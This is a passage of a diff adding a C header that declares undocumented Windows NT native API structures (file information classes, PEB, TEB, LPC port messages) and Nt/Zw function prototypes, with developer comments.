LARGE_INTEGER CurrentByteOffset; +} FILE_POSITION_INFORMATION, *PFILE_POSITION_INFORMATION; + + +typedef struct _FILE_FULL_EA_INFORMATION { + ULONG NextEntryOffset; + UCHAR Flags; + UCHAR EaNameLength; + USHORT EaValueLength; + CHAR EaName[1]; +} FILE_FULL_EA_INFORMATION, *PFILE_FULL_EA_INFORMATION; + + +typedef struct _FILE_MODE_INFORMATION { + ULONG Mode; +} FILE_MODE_INFORMATION, *PFILE_MODE_INFORMATION; + + +typedef struct _FILE_ALIGNMENT_INFORMATION { + ULONG AlignmentRequirement; +} FILE_ALIGNMENT_INFORMATION, *PFILE_ALIGNMENT_INFORMATION; + + +typedef struct _FILE_ALL_INFORMATION { + FILE_BASIC_INFORMATION BasicInformation; + FILE_STANDARD_INFORMATION StandardInformation; + FILE_INTERNAL_INFORMATION InternalInformation; + FILE_EA_INFORMATION EaInformation; + FILE_ACCESS_INFORMATION AccessInformation; + FILE_POSITION_INFORMATION PositionInformation; + FILE_MODE_INFORMATION ModeInformation; + FILE_ALIGNMENT_INFORMATION AlignmentInformation; + FILE_NAME_INFORMATION NameInformation; +} FILE_ALL_INFORMATION, *PFILE_ALL_INFORMATION; + + +typedef struct _FILE_ALLOCATION_INFORMATION { + LARGE_INTEGER AllocationSize; +} FILE_ALLOCATION_INFORMATION, *PFILE_ALLOCATION_INFORMATION; + + +typedef struct _FILE_END_OF_FILE_INFORMATION { + LARGE_INTEGER EndOfFile; +} FILE_END_OF_FILE_INFORMATION, *PFILE_END_OF_FILE_INFORMATION; + + +typedef struct _FILE_STREAM_INFORMATION { + ULONG NextEntryOffset; + ULONG StreamNameLength; + LARGE_INTEGER StreamSize; + LARGE_INTEGER StreamAllocationSize; + WCHAR StreamName[1]; +} FILE_STREAM_INFORMATION, *PFILE_STREAM_INFORMATION; + +typedef struct _FILE_PIPE_INFORMATION { + ULONG ReadMode; + ULONG CompletionMode; +} FILE_PIPE_INFORMATION, *PFILE_PIPE_INFORMATION; + + +typedef struct _FILE_PIPE_LOCAL_INFORMATION { + ULONG NamedPipeType; + ULONG NamedPipeConfiguration; + ULONG MaximumInstances; + ULONG CurrentInstances; + ULONG InboundQuota; + ULONG ReadDataAvailable; + ULONG OutboundQuota; + ULONG WriteQuotaAvailable; + ULONG NamedPipeState; + ULONG NamedPipeEnd; +} FILE_PIPE_LOCAL_INFORMATION, *PFILE_PIPE_LOCAL_INFORMATION; + + +typedef struct _FILE_PIPE_REMOTE_INFORMATION { + LARGE_INTEGER CollectDataTime; + ULONG MaximumCollectionCount; +} FILE_PIPE_REMOTE_INFORMATION, *PFILE_PIPE_REMOTE_INFORMATION; + + +typedef struct _FILE_MAILSLOT_QUERY_INFORMATION { + ULONG MaximumMessageSize; + ULONG MailslotQuota; + ULONG NextMessageSize; + ULONG MessagesAvailable; + LARGE_INTEGER ReadTimeout; +} FILE_MAILSLOT_QUERY_INFORMATION, *PFILE_MAILSLOT_QUERY_INFORMATION; + + +typedef struct _FILE_MAILSLOT_SET_INFORMATION { + PLARGE_INTEGER ReadTimeout; +} FILE_MAILSLOT_SET_INFORMATION, *PFILE_MAILSLOT_SET_INFORMATION; + + +typedef struct _FILE_COMPRESSION_INFORMATION { + LARGE_INTEGER CompressedFileSize; + USHORT CompressionFormat; + UCHAR CompressionUnitShift; + UCHAR ChunkShift; + UCHAR ClusterShift; + UCHAR Reserved[3]; +} FILE_COMPRESSION_INFORMATION, *PFILE_COMPRESSION_INFORMATION; + + +typedef struct _FILE_LINK_INFORMATION { + BOOLEAN ReplaceIfExists; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_LINK_INFORMATION, *PFILE_LINK_INFORMATION; + + +typedef struct _FILE_OBJECTID_INFORMATION +{ + LONGLONG FileReference; + UCHAR ObjectId[16]; + union { + struct { + UCHAR BirthVolumeId[16]; + UCHAR BirthObjectId[16]; + UCHAR DomainId[16]; + } ; + UCHAR ExtendedInfo[48]; + }; +} FILE_OBJECTID_INFORMATION, *PFILE_OBJECTID_INFORMATION; + + +typedef struct _FILE_COMPLETION_INFORMATION { + HANDLE Port; + PVOID Key; +} FILE_COMPLETION_INFORMATION, *PFILE_COMPLETION_INFORMATION; + + +typedef struct _FILE_MOVE_CLUSTER_INFORMATION { + ULONG ClusterCount; + HANDLE RootDirectory; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_MOVE_CLUSTER_INFORMATION, *PFILE_MOVE_CLUSTER_INFORMATION; + + +typedef struct _FILE_NETWORK_OPEN_INFORMATION { + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER AllocationSize; + LARGE_INTEGER EndOfFile; + ULONG FileAttributes; +} FILE_NETWORK_OPEN_INFORMATION, *PFILE_NETWORK_OPEN_INFORMATION; + + +typedef struct _FILE_ATTRIBUTE_TAG_INFORMATION { + ULONG FileAttributes; + ULONG ReparseTag; +} FILE_ATTRIBUTE_TAG_INFORMATION, *PFILE_ATTRIBUTE_TAG_INFORMATION; + + +typedef struct _FILE_TRACKING_INFORMATION { + HANDLE DestinationFile; + ULONG ObjectInformationLength; + CHAR ObjectInformation[1]; +} FILE_TRACKING_INFORMATION, *PFILE_TRACKING_INFORMATION; + + +typedef struct _FILE_REPARSE_POINT_INFORMATION { + LONGLONG FileReference; + ULONG Tag; +} FILE_REPARSE_POINT_INFORMATION, *PFILE_REPARSE_POINT_INFORMATION; + + +typedef struct _FILE_QUOTA_INFORMATION { + ULONG NextEntryOffset; + ULONG SidLength; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER QuotaUsed; + LARGE_INTEGER QuotaThreshold; + LARGE_INTEGER QuotaLimit; + SID Sid; +} FILE_QUOTA_INFORMATION, *PFILE_QUOTA_INFORMATION; + + +typedef struct _FILE_ID_BOTH_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + CCHAR ShortNameLength; + WCHAR ShortName[12]; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} FILE_ID_BOTH_DIR_INFORMATION, *PFILE_ID_BOTH_DIR_INFORMATION; + + +typedef struct _FILE_ID_FULL_DIR_INFORMATION { + ULONG NextEntryOffset; + ULONG FileIndex; + LARGE_INTEGER CreationTime; + LARGE_INTEGER LastAccessTime; + LARGE_INTEGER LastWriteTime; + LARGE_INTEGER ChangeTime; + LARGE_INTEGER EndOfFile; + LARGE_INTEGER AllocationSize; + ULONG FileAttributes; + ULONG FileNameLength; + ULONG EaSize; + LARGE_INTEGER FileId; + WCHAR FileName[1]; +} FILE_ID_FULL_DIR_INFORMATION, *PFILE_ID_FULL_DIR_INFORMATION; + + +typedef struct _FILE_VALID_DATA_LENGTH_INFORMATION { + LARGE_INTEGER ValidDataLength; +} FILE_VALID_DATA_LENGTH_INFORMATION, *PFILE_VALID_DATA_LENGTH_INFORMATION; + +typedef struct _FILE_LINK_ENTRY_INFORMATION { + ULONG NextEntryOffset; + LONGLONG ParentFileId; + ULONG FileNameLength; + WCHAR FileName[1]; +} FILE_LINK_ENTRY_INFORMATION, *PFILE_LINK_ENTRY_INFORMATION; + +typedef struct _FILE_LINKS_INFORMATION { + ULONG BytesNeeded; + ULONG EntriesReturned; + FILE_LINK_ENTRY_INFORMATION Entry; +} FILE_LINKS_INFORMATION, *PFILE_LINKS_INFORMATION; + + + +typedef enum _FSINFOCLASS { + FileFsVolumeInformation = 1, + FileFsLabelInformation, // 2 + FileFsSizeInformation, // 3 + FileFsDeviceInformation, // 4 + FileFsAttributeInformation, // 5 + FileFsControlInformation, // 6 + FileFsFullSizeInformation, // 7 + FileFsObjectIdInformation, // 8 + FileFsDriverPathInformation, // 9 + FileFsMaximumInformation +} FS_INFORMATION_CLASS, *PFS_INFORMATION_CLASS; + + +NTSYSAPI +NTSTATUS +NTAPI +NtCreateFile( + OUT PHANDLE FileHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PLARGE_INTEGER AllocationSize, + IN ULONG FileAttributes, + IN ULONG ShareAccess, + IN ULONG CreateDisposition, + IN ULONG CreateOptions, + IN PVOID EaBuffer, + IN ULONG EaLength); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwCreateFile( + OUT PHANDLE FileHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PLARGE_INTEGER AllocationSize, + IN ULONG FileAttributes, + IN ULONG ShareAccess, + IN ULONG CreateDisposition, + IN ULONG CreateOptions, + IN PVOID EaBuffer, + IN ULONG EaLength); + + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenFile( + OUT PHANDLE FileHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG ShareAccess, + IN ULONG OpenOptions + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwOpenFile( + OUT PHANDLE FileHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG ShareAccess, + IN ULONG OpenOptions + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryInformationFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryInformationFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryDirectoryFile( + IN HANDLE FileHandle, + IN HANDLE Event OPTIONAL, + IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, + IN PVOID ApcContext OPTIONAL, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass, + IN BOOLEAN ReturnSingleEntry, + IN PUNICODE_STRING FileName OPTIONAL, + IN BOOLEAN RestartScan + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryDirectoryFile( + IN HANDLE FileHandle, + IN HANDLE Event OPTIONAL, + IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, + IN PVOID ApcContext OPTIONAL, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass, + IN BOOLEAN ReturnSingleEntry, + IN PUNICODE_STRING FileName OPTIONAL, + IN BOOLEAN RestartScan + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryVolumeInformationFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FsInformation, + IN ULONG Length, + IN FS_INFORMATION_CLASS FsInformationClass + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryVolumeInformationFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID FsInformation, + IN ULONG Length, + IN FS_INFORMATION_CLASS FsInformationClass + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtSetInformationFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwSetInformationFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID FileInformation, + IN ULONG Length, + IN FILE_INFORMATION_CLASS FileInformationClass + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryEaFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN BOOLEAN ReturnSingleEntry, + IN PVOID EaList OPTIONAL, + IN ULONG EaListLength, + IN PULONG EaIndex OPTIONAL, + IN BOOLEAN RestartScan); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwQueryEaFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN BOOLEAN ReturnSingleEntry, + IN PVOID EaList OPTIONAL, + IN ULONG EaListLength, + IN PULONG EaIndex OPTIONAL, + IN BOOLEAN RestartScan); + + +NTSYSAPI +NTSTATUS +NTAPI +NtSetEaFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwSetEaFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length); + + +NTSYSAPI +NTSTATUS +NTAPI +NtReadFile( + IN HANDLE FileHandle, + IN HANDLE Event OPTIONAL, + IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, + IN PVOID ApcContext OPTIONAL, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN PLARGE_INTEGER ByteOffset OPTIONAL, + IN PULONG Key OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwReadFile( + IN HANDLE FileHandle, + IN HANDLE Event OPTIONAL, + IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, + IN PVOID ApcContext OPTIONAL, + OUT PIO_STATUS_BLOCK IoStatusBlock, + OUT PVOID Buffer, + IN ULONG Length, + IN PLARGE_INTEGER ByteOffset OPTIONAL, + IN PULONG Key OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtWriteFile( + IN HANDLE FileHandle, + IN HANDLE Event OPTIONAL, + IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, + IN PVOID ApcContext OPTIONAL, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length, + IN PLARGE_INTEGER ByteOffset OPTIONAL, + IN PULONG Key OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwWriteFile( + IN HANDLE FileHandle, + IN HANDLE Event OPTIONAL, + IN PIO_APC_ROUTINE ApcRoutine OPTIONAL, + IN PVOID ApcContext OPTIONAL, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN PVOID Buffer, + IN ULONG Length, + IN PLARGE_INTEGER ByteOffset OPTIONAL, + IN PULONG Key OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtDeleteFile( + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwDeleteFile( + IN POBJECT_ATTRIBUTES ObjectAttributes + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtFlushBuffersFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwFlushBuffersFile( + IN HANDLE FileHandle, + OUT PIO_STATUS_BLOCK IoStatusBlock + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtDeviceIoControlFile( + IN HANDLE FileHandle, + IN HANDLE Event, + IN PIO_APC_ROUTINE ApcRoutine, + IN PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG IoControlCode, + IN PVOID InputBuffer, + IN ULONG InputBufferLength, + IN PVOID OutputBuffer, + IN ULONG OutputBufferLength + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwDeviceIoControlFile( + IN HANDLE FileHandle, + IN HANDLE Event, + IN PIO_APC_ROUTINE ApcRoutine, + IN PVOID ApcContext, + OUT PIO_STATUS_BLOCK IoStatusBlock, + IN ULONG IoControlCode, + IN PVOID InputBuffer, + IN ULONG InputBufferLength, + IN PVOID OutputBuffer, + IN ULONG OutputBufferLength + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtCancelIoFile( + IN HANDLE Filehandle, + OUT PIO_STATUS_BLOCK IoStatusBlock + ); + + +NTSYSAPI +NTSTATUS +NTAPI +ZwCancelIoFile( + IN HANDLE Filehandle, + OUT PIO_STATUS_BLOCK IoStatusBlock + ); + + +NTSYSAPI +BOOLEAN +NTAPI +RtlDosPathNameToNtPathName_U ( + IN PWSTR DosPathName, + OUT PUNICODE_STRING NtPathName, + OUT PWSTR * NtFileNamePart OPTIONAL, + OUT PCURDIR DirectoryInfo OPTIONAL + ); + + +//----------------------------------------------------------------------------- +// Process functions + +#define GDI_HANDLE_BUFFER_SIZE 34 + +// +// Process Information Classes +// + +typedef enum _PROCESSINFOCLASS { + ProcessBasicInformation, + ProcessQuotaLimits, + ProcessIoCounters, + ProcessVmCounters, + ProcessTimes, + ProcessBasePriority, + ProcessRaisePriority, + ProcessDebugPort, + ProcessExceptionPort, + ProcessAccessToken, + ProcessLdtInformation, + ProcessLdtSize, + ProcessDefaultHardErrorMode, + ProcessIoPortHandlers, // Note: this is kernel mode only + ProcessPooledUsageAndLimits, + ProcessWorkingSetWatch, + ProcessUserModeIOPL, + ProcessEnableAlignmentFaultFixup, + ProcessPriorityClass, + ProcessWx86Information, + ProcessHandleCount, + ProcessAffinityMask, + ProcessPriorityBoost, + ProcessDeviceMap, + ProcessSessionInformation, + ProcessForegroundInformation, + ProcessWow64Information, + ProcessImageFileName, + ProcessLUIDDeviceMapsEnabled, + ProcessBreakOnTermination, + ProcessDebugObjectHandle, + ProcessDebugFlags, + ProcessHandleTracing, + MaxProcessInfoClass // MaxProcessInfoClass should always be the last enum +} PROCESSINFOCLASS; + +// +// Thread Information Classes +// + +typedef enum _THREADINFOCLASS { + ThreadBasicInformation, // ?? + ThreadTimes, + ThreadPriority, // ?? + ThreadBasePriority, // ?? + ThreadAffinityMask, // ?? + ThreadImpersonationToken, // HANDLE + ThreadDescriptorTableEntry, // ULONG Selector + LDT_ENTRY + ThreadEnableAlignmentFaultFixup, // ?? + ThreadEventPair, // ?? + ThreadQuerySetWin32StartAddress, // ?? + ThreadZeroTlsCell, // ?? + ThreadPerformanceCount, // ?? + ThreadAmILastThread, // ?? + ThreadIdealProcessor, // ?? + ThreadPriorityBoost, // ?? + ThreadSetTlsArrayAddress, // ?? + MaxThreadInfoClass +} THREADINFOCLASS; + + +typedef struct _RTL_DRIVE_LETTER_CURDIR +{ + USHORT Flags; + USHORT Length; + ULONG TimeStamp; + STRING DosPath; + +} RTL_DRIVE_LETTER_CURDIR, *PRTL_DRIVE_LETTER_CURDIR; + + +typedef struct _RTL_USER_PROCESS_PARAMETERS +{ + ULONG MaximumLength; // Should be set before call RtlCreateProcessParameters + ULONG Length; // Length of valid structure + ULONG Flags; // Currently only PPF_NORMALIZED (1) is known: + // - Means that structure is normalized by call RtlNormalizeProcessParameters + ULONG DebugFlags; + + PVOID ConsoleHandle; // HWND to console window associated with process (if any). + ULONG ConsoleFlags; + HANDLE StandardInput; + HANDLE StandardOutput; + HANDLE StandardError; + + CURDIR CurrentDirectory; // Specified in DOS-like symbolic link path, ex: "C:/WinNT/SYSTEM32" + UNICODE_STRING DllPath; // DOS-like paths separated by ';' where system should search for DLL files. + UNICODE_STRING ImagePathName; // Full path in DOS-like format to process'es file image. + UNICODE_STRING CommandLine; // Command line + PVOID Environment; // Pointer to environment block (see RtlCreateEnvironment) + ULONG StartingX; + ULONG StartingY; + ULONG CountX; + ULONG CountY; + ULONG CountCharsX; + ULONG CountCharsY; + ULONG FillAttribute; // Fill attribute for console window + ULONG WindowFlags; + ULONG ShowWindowFlags; + UNICODE_STRING WindowTitle; + UNICODE_STRING DesktopInfo; // Name of WindowStation and Desktop objects, where process is assigned + UNICODE_STRING ShellInfo; + UNICODE_STRING RuntimeData; + RTL_DRIVE_LETTER_CURDIR CurrentDirectores[0x20]; + +} RTL_USER_PROCESS_PARAMETERS, *PRTL_USER_PROCESS_PARAMETERS; + +// +// Process Environment Block +// + +typedef struct _PEB_FREE_BLOCK +{ + struct _PEB_FREE_BLOCK *Next; + ULONG Size; + +} PEB_FREE_BLOCK, *PPEB_FREE_BLOCK; + + +typedef struct _PEB_LDR_DATA +{ + ULONG Length; + BOOLEAN Initialized; + HANDLE SsHandle; + LIST_ENTRY InLoadOrderModuleList; // Points to the loaded modules (main EXE usually) + LIST_ENTRY InMemoryOrderModuleList; // Points to all modules (EXE and all DLLs) + LIST_ENTRY InInitializationOrderModuleList; + PVOID EntryInProgress; + +} PEB_LDR_DATA, *PPEB_LDR_DATA; + + +typedef struct _LDR_DATA_TABLE_ENTRY +{ + LIST_ENTRY InLoadOrderLinks; + LIST_ENTRY InMemoryOrderLinks; + LIST_ENTRY InInitializationOrderLinks; + PVOID DllBase; // Base address of the module + PVOID EntryPoint; + ULONG SizeOfImage; + UNICODE_STRING FullDllName; + UNICODE_STRING BaseDllName; + ULONG Flags; + USHORT LoadCount; + USHORT TlsIndex; + LIST_ENTRY HashLinks; + PVOID SectionPointer; + ULONG CheckSum; + ULONG TimeDateStamp; + PVOID LoadedImports; + PVOID EntryPointActivationContext; + PVOID PatchInformation; + PVOID Unknown1; + PVOID Unknown2; + PVOID Unknown3; + +} LDR_DATA_TABLE_ENTRY, *PLDR_DATA_TABLE_ENTRY; + + +typedef struct _PEB +{ + BOOLEAN InheritedAddressSpace; // These four fields cannot change unless the + BOOLEAN ReadImageFileExecOptions; // + BOOLEAN BeingDebugged; // + BOOLEAN BitField; // reserved for bitfields with system-specific flags + + HANDLE Mutant; // INITIAL_PEB structure is also updated. + + PVOID ImageBaseAddress; + PPEB_LDR_DATA Ldr; + PRTL_USER_PROCESS_PARAMETERS ProcessParameters; + PVOID SubSystemData; + PVOID ProcessHeap; + PRTL_CRITICAL_SECTION FastPebLock; + + PSLIST_HEADER AtlThunkSListPtr; + PVOID IFEOKey; + ULONG CrossProcessFlags; + union { + PVOID KernelCallbackTable; + PVOID UserSharedInfoPtr; + }; + + DWORD SystemReserved; + DWORD AtlThunkSListPtr32; + PVOID ApiSetMap; + + PVOID TlsExpansionCounter; + PVOID TlsBitmap; + DWORD TlsBitmapBits[2]; // relates to TLS_MINIMUM_AVAILABLE + + PVOID ReadOnlySharedMemoryBase; + PVOID SharedData; + PVOID *ReadOnlyStaticServerData; + PVOID AnsiCodePageData; + PVOID OemCodePageData; + PVOID UnicodeCaseTableData; + + // + // Useful information for LdrpInitialize + + ULONG NumberOfProcessors; + ULONG NtGlobalFlag; + + // + // Passed up from MmCreatePeb from Session Manager registry key + // + + LARGE_INTEGER CriticalSectionTimeout; + PVOID HeapSegmentReserve; + PVOID HeapSegmentCommit; + PVOID HeapDeCommitTotalFreeThreshold; + PVOID HeapDeCommitFreeBlockThreshold; + + // + // Where heap manager keeps track of all heaps created for a process + // Fields initialized by MmCreatePeb. ProcessHeaps is initialized + // to point to the first free byte after the PEB and MaximumNumberOfHeaps + // is computed from the page size used to hold the PEB, less the fixed + // size of this data structure. + // + + DWORD NumberOfHeaps; + DWORD MaximumNumberOfHeaps; + PVOID *ProcessHeaps; + + // + // + PVOID GdiSharedHandleTable; + PVOID ProcessStarterHelper; + PVOID GdiDCAttributeList; + PRTL_CRITICAL_SECTION LoaderLock; + + // + // Following fields filled in by MmCreatePeb from system values and/or + // image header. These fields have changed since Windows NT 4.0, + // so use with caution + // + + DWORD OSMajorVersion; + DWORD OSMinorVersion; + USHORT OSBuildNumber; + USHORT OSCSDVersion; + DWORD OSPlatformId; + DWORD ImageSubsystem; + DWORD ImageSubsystemMajorVersion; + + PVOID ImageSubsystemMinorVersion; + PVOID ImageProcessAffinityMask; + PVOID GdiHandleBuffer[GDI_HANDLE_BUFFER_SIZE]; + + // [...] - more fields are there: this is just a fragment of the PEB structure +} PEB, *PPEB; + + +// +// Thread environment block +// + +typedef struct _TEB +{ + NT_TIB NtTib; + PVOID EnvironmentPointer; + CLIENT_ID ClientId; + PVOID ActiveRpcHandle; + PVOID ThreadLocalStoragePointer; + PPEB ProcessEnvironmentBlock; + ULONG LastErrorValue; + ULONG CountOfOwnedCriticalSections; + PVOID CsrClientThread; + PVOID Win32ThreadInfo; + // Incomplete + +} TEB, *PTEB; + + +typedef struct _PROCESS_BASIC_INFORMATION +{ + NTSTATUS ExitStatus; + PPEB PebBaseAddress; + ULONG_PTR AffinityMask; + KPRIORITY BasePriority; + ULONG_PTR UniqueProcessId; + ULONG_PTR InheritedFromUniqueProcessId; + +} PROCESS_BASIC_INFORMATION,*PPROCESS_BASIC_INFORMATION; + + + +#define NtCurrentProcess() ((HANDLE) -1) +#define NtCurrentThread() ((HANDLE) -2) + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenProcess ( + OUT PHANDLE ProcessHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN PCLIENT_ID ClientId OPTIONAL + ); + +NTSYSCALLAPI + NTSTATUS + NTAPI + NtSuspendProcess( + IN HANDLE ProcessHandle + ); + +NTSYSCALLAPI + NTSTATUS + NTAPI + NtResumeProcess( + IN HANDLE ProcessHandle + ); + +NTSYSAPI +NTSTATUS +NTAPI +NtOpenThread ( + OUT PHANDLE ThreadHandle, + IN ACCESS_MASK DesiredAccess, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN PCLIENT_ID ClientId OPTIONAL + ); + +NTSYSAPI + NTSTATUS + NTAPI + NtQueryInformationThread( + IN HANDLE ThreadHandle, + IN THREADINFOCLASS ThreadInformationClass, + OUT PVOID ThreadInformation, + IN ULONG ThreadInformationLength, + OUT PULONG ReturnLength OPTIONAL + ); + +NTSYSAPI +NTSTATUS +NTAPI +NtQueryInformationProcess( + IN HANDLE ProcessHandle, + IN PROCESSINFOCLASS ProcessInformationClass, + OUT PVOID ProcessInformation, + IN ULONG ProcessInformationLength, + OUT PULONG ReturnLength OPTIONAL + ); + + +NTSYSAPI +NTSTATUS +NTAPI +NtSetInformationProcess ( + IN HANDLE ProcessHandle, + IN PROCESSINFOCLASS ProcessInformationClass, + IN PVOID ProcessInformation, + IN ULONG ProcessInformationLength + ); + +//------------------------------------------------------------------------------ +// LPC Functions + +#define MAX_LPC_DATA 0x130 // Maximum number of bytes that can be copied through LPC + +// LPC connection types +typedef enum _LPC_TYPE +{ + LPC_NEW_MESSAGE, // (0) A new message + LPC_REQUEST, // (1) A request message + LPC_REPLY, // (2) A reply to a request message + LPC_DATAGRAM, // (3) + LPC_LOST_REPLY, // (4) + LPC_PORT_CLOSED, // (5) Send when port is deleted + LPC_CLIENT_DIED, // (6) Messages to thread termination ports + LPC_EXCEPTION, // (7) Messages to thread exception ports + LPC_DEBUG_EVENT, // (8) Messages to thread debug port + LPC_ERROR_EVENT, // (9) Used by NtRaiseHardError + LPC_CONNECTION_REQUEST // (A) Used by NtConnectPort + +} LPC_TYPE, *PLPC_TYPE; + +// +// Define header for Port Message +// + +typedef struct _PORT_MESSAGE +{ + USHORT DataLength; // Length of data following the header (bytes) + USHORT TotalLength; // Length of data + sizeof(PORT_MESSAGE) + USHORT Type; // Type of the message (See LPC_TYPE enum) + USHORT VirtualRangesOffset; // Offset of array of virtual address ranges + CLIENT_ID ClientId; // Client identifier of the message sender + ULONG MessageId; // Identifier of the particular message instance + union + { + ULONG CallbackId; // + ULONG ClientViewSize; // Size, in bytes, of section created by the sender + }; + +} PORT_MESSAGE, *PPORT_MESSAGE; + +// +// Define structure for initializing shared memory on the caller's side of the port +// + +typedef struct _PORT_VIEW { + + ULONG Length; // Size of this structure + HANDLE SectionHandle; // Handle to section object with + // SECTION_MAP_WRITE and SECTION_MAP_READ + ULONG SectionOffset; // The offset in the section to map a view for + // the port data area. The offset must be aligned + // with the allocation granularity of the system. + ULONG ViewSize; // The size of the view (in bytes) + PVOID ViewBase; // The base address of the view in the creator + // + PVOID ViewRemoteBase; // The base address of the view in the process + // connected to the port. +} PORT_VIEW, *PPORT_VIEW; + +// +// Define structure for shared memory coming from remote side of the port +// + +typedef struct _REMOTE_PORT_VIEW { + + ULONG Length; // Size of this structure + ULONG ViewSize; // The size of the view (bytes) + PVOID ViewBase; // Base address of the view + +} REMOTE_PORT_VIEW, *PREMOTE_PORT_VIEW; + +/*++ + + NtCreatePort + ============ + + Creates a LPC port object. The creator of the LPC port becomes a server + of LPC communication + + PortHandle - Points to a variable that will receive the + port object handle if the call is successful. + + ObjectAttributes - Points to a structure that specifies the object s + attributes. OBJ_KERNEL_HANDLE, OBJ_OPENLINK, OBJ_OPENIF, OBJ_EXCLUSIVE, + OBJ_PERMANENT, and OBJ_INHERIT are not valid attributes for a port object. + + MaxConnectionInfoLength - The maximum size, in bytes, of data that can + be sent through the port. + + MaxMessageLength - The maximum size, in bytes, of a message + that can be sent through the port. + + MaxPoolUsage - Specifies the maximum amount of NonPaged pool that can be used for + message storage. Zero means default value. + + ZwCreatePort verifies that (MaxDataSize <= 0x104) and (MaxMessageSize <= 0x148). + +--*/ + +NTSYSAPI +NTSTATUS +NTAPI +NtCreatePort( + OUT PHANDLE PortHandle, + IN POBJECT_ATTRIBUTES ObjectAttributes, + IN ULONG MaxConnectionInfoLength, + IN ULONG MaxMessageLength, + IN ULONG MaxPoolUsage + ); + + +/*++ + 